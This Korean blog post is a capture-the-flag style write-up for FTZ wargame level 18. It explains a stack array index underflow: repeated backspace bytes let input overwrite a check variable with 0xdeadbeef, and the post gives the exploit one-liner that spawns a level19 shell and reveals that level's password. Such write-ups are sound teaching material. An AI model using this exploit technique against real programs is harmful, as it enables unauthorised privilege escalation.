[FTZ] Level 18

Sisyphus·2022년 7월 15일

FTZ

목록 보기
28/30
[level18@ftz level18]$ cat hint

#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;
  printf("Enter your command: ");
  fflush(stdout);
  while(1)
    {
      if(count >= 100)
        printf("what are you trying to do?\n");
      if(check == 0xdeadbeef)
        shellout();
      else
        {
          FD_ZERO(&fds);
          FD_SET(STDIN_FILENO,&fds);
 
          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
            {
              if(FD_ISSET(fileno(stdin),&fds))
                {
                  read(fileno(stdin),&x,1);
                  switch(x)
                    {
                      case '\r':
                      case '\n':
                        printf("\a");
                        break;
                      case 0x08:
                        count--;
                        printf("\b \b");

cat 명령어로 hint를 출력하니 긴 소스코드가 출력되었습니다. 해석해보면


#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);

int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;
  printf("Enter your command: ");
  fflush(stdout);
  while(1)
    {
      if(count >= 100)
        printf("what are you trying to do?\n");
      if(check == 0xdeadbeef)	// 만약 check가 0xdeadbeef라면
        shellout();	   			// shellout() 함수 호출
      else
        {
          FD_ZERO(&fds);
          FD_SET(STDIN_FILENO,&fds);
 
          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
            {
              if(FD_ISSET(fileno(stdin),&fds))
                {
                  read(fileno(stdin),&x,1);
                  switch(x)	
                    {
                      case '\r':
                      case '\n':
                        printf("\a");
                        break;
                      case 0x08:		// x가 0x08이면
                        count--;		// count 감소
                        printf("\b \b");
                        break;			// break
                      default:			// 나머지는
                        string[count] = x;
                        count++;		// count 증가
                        break;			// break
                    }
                }
            }
        }
    }
}
 
void shellout(void)
{
  setreuid(3099,3099);			// ruid와 euid를 3099로 설정
  execl("/bin/sh","sh",NULL);	// /bin/sh 프로그램을 실행
}

0x08을 계속 넣어서 index를 음수로 만들고 check 변수에 접근하여 값을 0xdeadbeef로 변조하면 될거 같습니다.


메모리 구조를 분석해보면

0x080485ab <main+91>:	cmp    DWORD PTR [ebp-104],0xdeadbeef	// compare check, 0xdeadbeef
0x080485b2 <main+98>:	jne    0x80485c0 <main+112>				// 다르면 main+112로 jump
0x080485b4 <main+100>:	call   0x8048780 <shellout>				// shellout() 함수 호출
0x0804870c <main+444>:	cmp    DWORD PTR [ebp-252],0x8
0x08048713 <main+451>:	je     0x8048731 <main+481>		// case 0x8:
0x08048715 <main+453>:	jmp    0x8048743 <main+499>

0x08048731 <main+481>:	dec    DWORD PTR [ebp-112]		// count--
0x08048734 <main+484>:	push   0x8048833
0x08048739 <main+489>:	call   0x8048470 <printf>
0x0804873e <main+494>:	add    esp,0x4
0x08048741 <main+497>:	jmp    0x8048770 <main+544>
0x08048717 <main+455>:	cmp    DWORD PTR [ebp-252],0xd
0x0804871e <main+462>:	je     0x8048722 <main+466>
0x08048720 <main+464>:	jmp    0x8048743 <main+499>

0x08048743 <main+499>:	lea    eax,[ebp-100]
0x08048746 <main+502>:	mov    DWORD PTR [ebp-252],eax
0x0804874c <main+508>:	mov    edx,DWORD PTR [ebp-112]
0x0804874f <main+511>:	mov    cl,BYTE PTR [ebp-108]
0x08048752 <main+514>:	mov    BYTE PTR [ebp-253],cl
0x08048758 <main+520>:	mov    al,BYTE PTR [ebp-253]
0x0804875e <main+526>:	mov    ecx,DWORD PTR [ebp-252]
0x08048764 <main+532>:	mov    BYTE PTR [edx+ecx],al	//string[count] = x
0x08048767 <main+535>:	inc    DWORD PTR [ebp-112]		// count++
0x0804876a <main+538>:	jmp    0x8048770 <main+544>
0x0804876c <main+540>:	lea    esi,[esi*1]
0x08048770 <main+544>:	jmp    0x8048591 <main+65>

메모리 구조를 그려보면

string 바로 위에 check 변수가 있으니 4칸만 올라가서 값을 변조하면 됩니다.

배열 주소 = 시작주소 + Index * 자료형 크기

이기 때문에, case: 0x8 문을 4번 실행시켜서 4칸 위로 올라가고
check 값으로 0xdeadbeef를 입력하면 default문이 실행되어 한 칸씩 내려가며 1Byte 단위로 입력을 받게 됩니다.


익스플로잇 코드를 짜보면

0x8 * 4 + 0xdeadbeef
(python -c 'print "\x08"*4+"\xef\xbe\xad\xde"'; cat) | ./attackme

익스플로잇 코드를 실행시켜보면

[level18@ftz level18]$ (python -c 'print "\x08"*4+"\xef\xbe\xad\xde"'; cat) | ./attackme
Enter your command: whoami
level19

쉘이 떴습니다.


패스워드를 출력해보면

my-pass

Level19 Password is "swimming in pink".

0개의 댓글